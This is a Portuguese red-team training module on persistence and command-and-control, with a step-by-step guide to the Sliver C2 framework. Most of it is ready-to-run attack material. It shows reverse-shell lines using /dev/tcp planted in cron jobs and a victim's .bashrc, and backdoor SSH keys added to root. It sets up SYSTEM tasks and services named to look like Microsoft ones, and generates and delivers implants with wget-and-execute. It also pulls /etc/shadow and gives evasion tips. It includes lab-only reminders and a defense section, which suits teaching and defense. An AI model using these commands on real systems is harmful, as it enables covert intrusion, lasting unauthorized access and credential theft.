Persistência & C2

08/09/2026

5 min read

MÓDULO 12 — Persistência & C2 (Command & Control) + Guia Prático Sliver

Team Hacking78

Especialistas em Red Teaming

Resumo Executivo (TL;DR)

Guia completo de persistência em Linux e Windows e operação de C2 com Sliver. Aprenda a instalar mecanismos de persistência (cron, systemd, chaves SSH, registry Run, tarefas agendadas, serviços Windows, WMI Event Subscription), montar um servidor C2 Sliver do zero, gerar implantes, operar sessões e beacons com sleep/jitter, usar pivoting (SOCKS5/portfwd) e realizar limpeza completa — tudo com OPSEC e boas práticas de Red Teaming.

MÓDULO 12 — PERSISTÊNCIA & C2 (COMMAND & CONTROL) + GUIA PRÁTICO SLIVER Objetivo: instalar mecanismos de persistência em Linux e Windows (sobreviver a reboot e reconexão), montar um servidor C2 (Sliver) do zero, gerar implantes, operar sessões com beaconing e usar o C2 como pivô — tudo com OPSEC e limpeza.

MÓDULO 12 — Persistência & C2: Tópico 1 — O que é persistência e por que ela existe

Persistência = o mecanismo que faz seu acesso sobreviver a reboot, logout, reinício de serviço ou reconexão de rede. Sem ela, você perde o host na primeira reinicialização.

C2 (Command & Control) = a infraestrutura que coordena os hosts comprometidos (implantes/beacons) a partir de um servidor central. O operador não fica conectado o tempo todo — o beacon liga para casa em intervalos (sleep/jitter) e recebe tarefas.

text

Hacking78 Snippet

Implante (beacon) ──(beaconing periódico)──> Servidor C2 (seu Kali/VPS)
   │                                              │
   └── executa tarefas: shell, upload, captura, pivot, persistência

💡 Por que beaconing em vez de conexão contínua?

Evasão de detecção: o tráfego é espaçado e discreto
Conexões longas e constantes: são o principal indicador de C2 para EDR/NDR
Escala de operação: permite operar centenas de hosts de um único painel

A cadeia completa: Recon → Scan → Exploit → Shell → Escalada (Mód 11) → Persistência + C2 (este módulo) → Movimento lateral (Mód 14).

---

MÓDULO 12 — Persistência & C2: Tópico 2 — Linux — Persistência (do mais ao menos comum)

Técnica 1 — Cron (o mais clássico)

bash

Hacking78 Snippet

# 1. Adicionar ao crontab do usuário atual (roda ao logar) ou do root (se tiver)
crontab -e
# linha:
@reboot /tmp/.cache/persist.sh

# 2. Para usuários sem cron: /etc/cron.d/ (precisa de root)
echo "* * * * * root /tmp/.cache/persist.sh" > /etc/cron.d/persist
chmod 644 /etc/cron.d/persist

# 3. Script de persistência (ex.: reenvia reverse shell)
cat > /tmp/.cache/persist.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/SEU_IP/4444 0>&1
EOF
chmod +x /tmp/.cache/persist.sh

Técnica 2 — systemd (o mais "profissional" em sistemas modernos)

bash

Hacking78 Snippet

# /etc/systemd/system/persist.service (precisa de root)
[Unit]
Description=Manutencao do sistema
After=network.target

[Service]
ExecStart=/tmp/.cache/persist.sh
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

# ativar:
systemctl enable persist.service
systemctl start persist.service

Técnica 3 — Chaves SSH (o mais silencioso e durável)

bash

Hacking78 Snippet

# 1. Gere uma chave no Kali
ssh-keygen -t ed25519 -f /tmp/id_ed25519 -N ""
# 2. No alvo, adicione a chave pública ao root (se tiver) ou a um usuário
echo "ssh-ed25519 AAA... seu_comentario" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys

# 3. Acesso futuro (silencioso, legítimo, discreto):
ssh -i /tmp/id_ed25519 root@ALVO

Por que é a melhor: não gera processo estranho, não depende de serviço, parece tráfego normal de sysadmin. Sempre deixe uma chave SSH em qualquer host que você queira manter.

Técnica 4 — Arquivos de shell do usuário (.bashrc/.profile)

bash

Hacking78 Snippet

echo 'bash -i >& /dev/tcp/SEU_IP/4444 0>&1 &' >> /home/vitima/.bashrc
# dispara quando o usuário logar

Técnica 5 — LD_PRELOAD (escondido, mas delicado)

bash

Hacking78 Snippet

# Compile uma lib que roda código ao ser carregada; aponte /etc/ld.so.preload
# para ela. TODO processo do sistema carrega seu código.
# ⚠️ Pode quebrar o sistema se mal feito — use só em lab.

Técnica 6 — Backdoor em binários de sistema

bash

Hacking78 Snippet

# Substituir um binário pouco usado (ex.: /usr/bin/uptime) por um script
# que executa seu payload e depois o binário original (renomeado).
# ⚠️ Alterar binários do sistema = alto risco de detecção por verificadores
# de integridade (tripwire, AIDE) — o cliente pode descobrir.

---

MÓDULO 12 — Persistência & C2: Tópico 3 — Windows — Persistência

Técnica 1 — Registry Run (o clássico)

powershell

Hacking78 Snippet

reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v updater /t REG_SZ /d "C:\\Windows\\Temp\\shell.exe" /f
reg add "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v updater /t REG_SZ /d "C:\\Windows\\Temp\\shell.exe" /f   # precisa admin

Técnica 2 — Tarefa agendada (escondida e confiável)

powershell

Hacking78 Snippet

# Cria tarefa que roda seu payload como SYSTEM no logon
schtasks /create /tn "Microsoft\\Windows\\Update\\SysCheck" /tr "C:\\Windows\\Temp\\shell.exe" /sc onlogon /ru SYSTEM /rl HIGHEST /f
# ou a cada X minutos:
schtasks /create /tn "SysCheck" /tr "C:\\Windows\\Temp\\shell.exe" /sc minute /mo 30 /ru SYSTEM /f
# Ações "ocultas" — nome parecido com tarefa legítima da Microsoft

Técnica 3 — Serviço Windows (persistente como SYSTEM)

powershell

Hacking78 Snippet

sc create "WindowsUpdateSvc" binPath= "C:\\Windows\\Temp\\shell.exe" start= auto obj= LocalSystem
sc start WindowsUpdateSvc

Técnica 4 — Startup Folder (simples, funciona para qualquer usuário)

powershell

Hacking78 Snippet

copy C:\\Windows\\Temp\\shell.exe "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\shell.exe"
# roda no logon de qualquer usuário (se tiver permissão de escrita)

Técnica 5 — WMI Event Subscription (a mais "invisível")

powershell

Hacking78 Snippet

# WMI Event Subscription: seu payload dispara em resposta a um evento
# (ex.: logon, boot, timer). Não cria arquivo de tarefa visível.
# Ferramentas: Persist via WMI do PowerSploit, ou manual com wmic.
# Detecção: difícil (não aparece em schtasks/autorun clássicos)

Técnica 6 — DLL hijacking (persistente e furtivo)

powershell

Hacking78 Snippet

# Se um aplicativo carrega uma DLL de um diretório gravável por você,
# coloque uma DLL maliciosa com o nome esperado (msfvenom -f dll).
# Toda vez que o app roda, seu código roda.
# (Mesma técnica da escalada do Módulo 11.16 — agora para persistência)

Técnica 7 — Mimikatz + Golden Ticket (reino do Active Directory)

powershell

Hacking78 Snippet

# Se você tem acesso a um DC (Módulo 14), o golden ticket (Kerberos)
# é a persistência definitiva: vale por anos e não é detectado como "backdoor"
# — é um ticket Kerberos legítimo. Guarde para o Módulo 14.

---

MÓDULO 12 — Persistência & C2: Tópico 4 — C2 — Conceitos que você precisa antes de operar

Termo	Significado
Implante (implant)	O payload que roda no alvo (o "beacon")
Listener	Porta/serviço no servidor C2 que recebe conexões
Session	Conexão interativa do beacon (estilo Metasploit)
Beacon	Modo "liga para casa" periódico (sleep + jitter)
Sleep	Intervalo entre check-ins (ex.: 60s)
Jitter	Variação aleatória do sleep (ex.: 30% → 42–78s) — evita padrão
Kill date	Data em que o beacon para de funcionar (higiene)
Transport	Protocolo do beacon: mTLS, HTTP(S), DNS, WireGuard, SMB, TCP
OPSEC	Operações seguras: não se expor, minimizar ruído, limpar depois

💡 Escolha do transporte (o essencial)

Transporte	Uso	Detecção
mTLS	Padrão inicial no lab (criptografado, simples)	Tráfego TLS em porta própria
HTTP(S)	Mais "natural" para ambientes reais (imita web)	Analisável por proxies
DNS	Ultrapassar firewalls (quase todo ambiente resolve DNS)	Consultas DNS anômalas
SMB	Movimento lateral dentro do Windows (pivoting)	Tráfego SMB entre hosts
WireGuard	Túnel VPN discreto para operações longas	Depende do ambiente

Perfil de C2 (profile): como o beacon se parece no tráfego (JA3, User-Agent, padrões). Perfis mal configurados = detecção imediata por EDR. Sliver tem profiles configuráveis — no Módulo 18 você aprofunda evasão de verdade.

---

MÓDULO 12 — Persistência & C2: Tópico 5 — Ferramentas de C2 — o panorama

Ferramenta	Tipo	Observação
Sliver	Open source (Go)	O melhor C2 gratuito — moderno, ativo, com beaconing nativo. É o nosso foco
Havoc	Open source	Alternativa popular (GUI), módulos, evasão
Metasploit	Framework	Já visto (Mód 7); serve como C2 simples, mas limitado para operações longas
Cobalt Strike	Comercial (o padrão de mercado)	O C2 mais usado por Red Teams e grupos reais; caro; base de conhecimento enorme
Empire	Open source (PowerShell/Python)	Bom para Windows/AD
Brute Ratel, Nighthawk, Mythic	Variados	Alternativas avançadas (comerciais/abertas)

Por que Sliver: gratuito, código aberto, mantido pela Bishop Fox, multi-plataforma (Linux/macOS/Windows), beaconing nativo, sem "signature" de Cobalt Strike, e o que mais se aproxima do padrão profissional sem custo.

---

MÓDULO 12 — Persistência & C2: Tópico 6 — GUIA PRÁTICO — Sliver do ZERO (a atividade central do módulo)

12.6.0 Topologia do lab

text

Hacking78 Snippet

Kali (192.168.56.101) → Servidor Sliver + gerador de implantes
Alvo Linux (Metasploitable/Ubuntu lab) → implante linux/amd64 (mTLS)
Alvo Windows (VM lab) → implante windows/amd64 (beacon, HTTP)

12.6.1 Instalar o Sliver

bash

Hacking78 Snippet

# Método oficial (script) — Kali:
curl https://sliver.sh/install | sudo bash
# ou baixar release manual: https://github.com/BishopFox/sliver/releases
sliver-server install     # instala o serviço (systemd) se quiser

# Iniciar
sudo sliver-server        # console interativo
sliver > version

No Kali, o Sliver pode exigir dependências (mingw-w64 para cross-compile de implantes Windows). Instale: sudo apt install mingw-w64.

12.6.2 Gerar o implante (implant)

bash

Hacking78 Snippet

# No console do Sliver:
# a) Implante Linux (staged = baixa o resto; stageless = completo)
generate --mtls SEU_IP --os linux --arch amd64 --save /tmp/implante-linux

# b) Implante Windows (cross-compile)
generate --mtls SEU_IP --os windows --arch amd64 --save /tmp/implante.exe

# c) BEACON (modo periódico) em vez de sessão interativa:
generate beacon --mtls SEU_IP --os windows --arch amd64 --save /tmp/beacon.exe
# (por padrão o Sliver já gera beacon; ajuste sleep/jitter depois)

# Opções úteis do generate:
#   --skip-symbols        → menor tamanho
#   --name nome           → nome do implante
#   --arch amd64|386
#   --debug               → ver logs do implante (lab)

O que o comando faz: gera um binário que, ao rodar no alvo, conecta de volta ao seu servidor usando mTLS (certificado mútuo) na porta padrão 8888.

12.6.3 Subir o listener

bash

Hacking78 Snippet

# No console do Sliver:
mtls --lhost 0.0.0.0 --lport 8888
# (no Kali moderno pode precisar: sudo ss -tulpn | grep 8888 para confirmar)
# Confirme o listener ativo:
listeners

12.6.4 Entregar e executar no alvo

bash

Hacking78 Snippet

# Servir o implante do Kali:
python3 -m http.server 8080

# No alvo Linux:
wget http://192.168.56.101:8080/implante-linux -O /tmp/.update && chmod +x /tmp/.update && /tmp/.update

# No alvo Windows (PowerShell):
iwr http://192.168.56.101:8080/beacon.exe -OutFile C:\\Windows\\Temp\\beacon.exe
C:\\Windows\\Temp\\beacon.exe

12.6.5 Receber a sessão

bash

Hacking78 Snippet

# No console do Sliver — o beacon aparece automaticamente:
sessions          # lista sessões interativas
beacons           # lista beacons (modo periódico)

# Sessão interativa:
sessions -i <ID>  # entra na sessão
# A partir daqui, comandos como:
whoami
ls /root
cat /etc/passwd
shell             # shell interativo do sistema
upload /root/linpeas.sh /tmp/linpeas.sh
download /etc/shadow /tmp/shadow.txt

12.6.6 Operar o BEACON (o modo profissional)

bash

Hacking78 Snippet

# Beacons ficam no modo periódico. Configure o ritmo:
beacons
use beacon <ID>     # seleciona o beacon

# Ajustar sleep e jitter (OPSEC: evite padrão fixo):
sleep 60            # intervalo base
jitter 30           # +-30% de variação (42–78s)

# Executar tarefa (o beacon executa no próximo check-in e reporta):
execute -o whoami
ls C:\\Windows\\Temp
# Saída chega quando o beacon volta a "ligar para casa"

💡 Diferença crucial session x beacon

Session: conexão contínua (rápida, mas visível e frágil)
Beacon: check-ins periódicos (lento, mas furtivo e resiliente — o padrão de operações reais)

12.6.7 Comandos essenciais do Sliver (a folha de cola)

bash

Hacking78 Snippet

help                      # todos os comandos
info                      # detalhes da sessão/beacon atual
whoami / getuid / getgid  # identidade
ls / cd / cat / download / upload
ps                        # processos
ifconfig / netstat        # rede do alvo
shell                     # shell interativo
execute -o comando        # executar comando e ver saída
screenshot                # captura de tela (Windows)
portfwd add -b 127.0.0.1:8080 -r 10.10.10.5:80    # forward (pivot)
socks5 start              # proxy SOCKS5 pelo beacon (pivot!)
socks5 stop
msf                       # integração com Metasploit (pivot/exploits)
pivots                    # gerenciar pivots (SMB/TCP)
implants                  # gerenciar implantes

12.6.8 Persistência via Sliver (integrando 12.2/12.3)

bash

Hacking78 Snippet

# O Sliver tem módulos de persistência prontos (Windows):
# (no contexto de uma sessão/beacon Windows)
persist --service --name "WindowsUpdateSvc" --profile implant
persist --registry --name "Updater"
# Linux:
# (cron/ssh/systemd — faça manual como em 12.2, ou use o execute)

Higiene de persistência: instale a persistência depois da escalada e antes de perder o acesso. Teste reiniciando o host do lab.

12.6.9 Limpeza (a parte que separa profissionais)

bash

Hacking78 Snippet

# Quando terminar a operação:
sessions -k <ID>      # matar sessão
beacons rm <ID>       # remover beacon
# E no alvo: remova o implante, cron, serviços, chaves que você adicionou
rm /tmp/.update
crontab -r            # (se era seu)
systemctl disable persist.service && rm /etc/systemd/system/persist.service
# Windows:
sc delete WindowsUpdateSvc
reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v updater /f

Regra de ouro: deixe o ambiente como encontrou (ou documente o que alterou). O relatório final lista o que foi instalado e removido. Nunca deixe backdoor ativo num cliente sem autorização explícita de persistência no escopo.

---

MÓDULO 12 — Persistência & C2: Tópico 7 — Pivoting com o C2 (recapitulando e ampliando o Módulo 7)

Com uma sessão/beacon ativa, o host comprometido vira o pivô:

bash

Hacking78 Snippet

# SOCKS5 (o mais flexível — qualquer ferramenta passa pelo beacon):
socks5 start
#  → Sliver informa: 127.0.0.1:1081
# Configure o proxychains:
#   /etc/proxychains4.conf  →  socks5 127.0.0.1 1081
proxychains4 nmap -sT -Pn 10.10.10.5
proxychains4 curl http://10.10.10.5

# Port forwarding (um serviço específico):
portfwd add -b 127.0.0.1:8080 -r 10.10.10.5:80
curl http://127.0.0.1:8080   # = 10.10.10.5:80 via beacon

# Pivot SMB (Windows → movimento lateral, Módulo 14):
pivots add smb --name pivot1

---

MÓDULO 12 — Persistência & C2: Tópico 8 — Detecção e defesa (a outra metade)

Como os defensores detectam C2 (para você saber o que evitar e o que recomendar):

text

Hacking78 Snippet

Indicadores de beaconing:
- Conexões periódicas com intervalo regular (sleep sem jitter)
- Tráfego para portas/domínios não usuais (8888, IPs diretos)
- JA3/JA3S fingerprinting (impressão digital do TLS do beacon)
- UA incomum ou TLS em domínio sem histórico

Controles que quebram C2:
- Egress filtering (saída só por proxy autenticado)
- DNS monitoring (túneis DNS)
- EDR com detecção de implant (Módulo 18) — deletes de implant em memória
- Allowlist de aplicações (AppLocker/WDAC)
- Network Detection & Response (NDR) — anomalias de fluxo

Mitigações que o relatório deve recomendar: segmentação, egress control, EDR moderno, monitoramento de beaconing (pesquisa de intervalos regulares), revisão de autoruns/tarefas/cron, e princípio do menor privilégio (o beacon só escala se houver vetor).

---

MÓDULO 12 — Persistência & C2: Tópico 9 — O fluxo completo de uma operação (recapitulando tudo até aqui)

text

Hacking78 Snippet

1. Escopo e autorização (Mód 3)
2. Recon OSINT (Mód 4) → Scan (Mód 5) → Vulnerabilidades (Mód 6)
3. Exploração → acesso inicial (Mód 7)
4. Escalada de privilégio (Mód 11)
5. PERSISTÊNCIA + C2 (este módulo):
   - Instalar beacon (Sliver) no host
   - Configurar sleep/jitter
   - Persistir (cron/serviço/chave SSH)
   - Pivotar (socks5/portfwd) para a próxima rede
6. Movimento lateral (Mód 14) — repetir 4-5 em cada host novo
7. Coleta de dados (11.17)
8. Limpeza + Relatório (Mód 3/20)

---

MÓDULO 12 — Persistência & C2: Tópico 10 — Atividade prática do Módulo 12

Tudo no seu laboratório (Kali + VMs Linux/Windows). Nunca em sistemas sem autorização.

Persistência Linux (lab): ganhe acesso ao Metasploitable/Ubuntu lab; instale (a) cron, (b) chave SSH; reinicie a VM e confirme que o acesso voltou
Persistência Windows (lab): ganhe acesso à VM Windows; instale (a) registry Run, (b) tarefa agendada; reinicie e confirme
Sliver — instalação: instale o Sliver no Kali e rode version
Sliver — implante Linux: gere implante mTLS Linux, entregue, suba listener, receba a sessão, rode whoami, ls /etc, shell
Sliver — beacon Windows: gere beacon Windows, entregue, ajuste sleep 60 + jitter 30, execute tarefas e veja a saída no check-in
Sliver — persistência: use os módulos persist no host Windows de lab e confirme pós-reboot
Sliver — pivot: com o beacon ativo, rode socks5 start, configure proxychains e escaneie a rede interna do lab (10.10.10.0/24)
Limpeza: remova tudo (implante, persistência, listener) e confirme que o host voltou ao estado original
Desafio — a operação completa documentada: crie c2_operation.md em ~/pentest/evidencias/c2/ com topologia, comandos do Sliver, persistência instalada, pivoting realizado, limpeza executada e análise de detecção com 5 recomendações de defesa

---

📌

Resumo Prático: Persistência é o que separa um "acesso temporário" de uma "presença operacional". Sem ela, o primeiro reboot apaga tudo. Em Linux, as técnicas vão de cron e systemd (ruidosas) a chaves SSH (silenciosas). Em Windows, de Registry Run e tarefas agendadas (comuns) a WMI Event Subscriptions (invisíveis). O C2 (Command & Control) é a infraestrutura que coordena tudo — e o Sliver é o melhor C2 open-source disponível: gere implantes multiplataforma, opere com beaconing (sleep + jitter para evasão), pivote via SOCKS5/portfwd, e integre persistência. A regra de ouro: sempre limpe o que instalou e documente tudo no relatório. O profissional não é quem entra — é quem entra, opera, persiste, pivota e sai sem deixar rastro.

Perguntas Frequentes (FAQ)

Qual a diferença entre session e beacon no Sliver?

Session é uma conexão interativa contínua com o host comprometido — rápida para operar, mas visível no tráfego e frágil (se a conexão cair, você perde o acesso). Beacon é o modo periódico: o implante 'liga para casa' em intervalos configuráveis (sleep + jitter), recebe tarefas e reporta resultados. É mais lento, mas muito mais furtivo e resiliente — o padrão de operações reais de Red Teaming.

Qual a técnica de persistência mais silenciosa em Linux?

Chaves SSH (authorized_keys) é a técnica mais silenciosa e durável. Não gera processo estranho, não depende de serviço, e o tráfego SSH parece atividade normal de sysadmin. Diferente de cron ou systemd, não há entrada visível em logs de serviço nem processo persistente rodando em background.

Por que usar sleep e jitter no beacon do C2?

O sleep define o intervalo entre check-ins do beacon (ex.: 60 segundos). O jitter adiciona variação aleatória a esse intervalo (ex.: 30% = entre 42 e 78 segundos). Sem jitter, as conexões seguem um padrão regular que é facilmente detectável por EDR/NDR como indicador de C2. O jitter quebra esse padrão e dificulta a detecção automatizada.

O que é WMI Event Subscription e por que é considerada a persistência mais invisível no Windows?

WMI Event Subscription permite disparar um payload em resposta a eventos do sistema (logon, boot, timer) sem criar arquivos de tarefa visíveis no Task Scheduler ou entradas nos locais de autorun clássicos. A detecção é difícil porque não aparece em ferramentas tradicionais como schtasks, Autoruns ou registry Run — exige ferramentas específicas de forensics como Get-WMIObject ou Sysmon Event ID 19/20/21.

Quais são os indicadores de detecção de um servidor C2?

Os principais indicadores incluem: (1) conexões periódicas com intervalo regular sem jitter, (2) tráfego para portas ou domínios incomuns, (3) JA3/JA3S fingerprinting identificando o TLS do beacon, (4) User-Agent incomum ou certificados TLS em domínios sem histórico, (5) consultas DNS anômalas (no caso de C2 via DNS). As defesas recomendadas são egress filtering, DNS monitoring, EDR moderno, allowlist de aplicações e Network Detection & Response (NDR).